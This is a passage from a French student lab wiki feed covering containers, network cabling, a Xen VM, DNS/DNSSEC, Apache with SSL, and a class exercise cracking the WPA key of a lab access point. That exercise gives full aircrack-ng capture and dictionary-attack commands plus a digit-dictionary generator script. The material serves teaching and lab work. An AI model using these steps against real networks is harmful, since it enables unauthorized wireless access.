Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====DNSSEC====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique la partie publique de la KSK à Gandi dans l'onglet DNSSEC&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48760</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48760"/>
				<updated>2018-12-17T13:43:53Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Crackage de clé WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
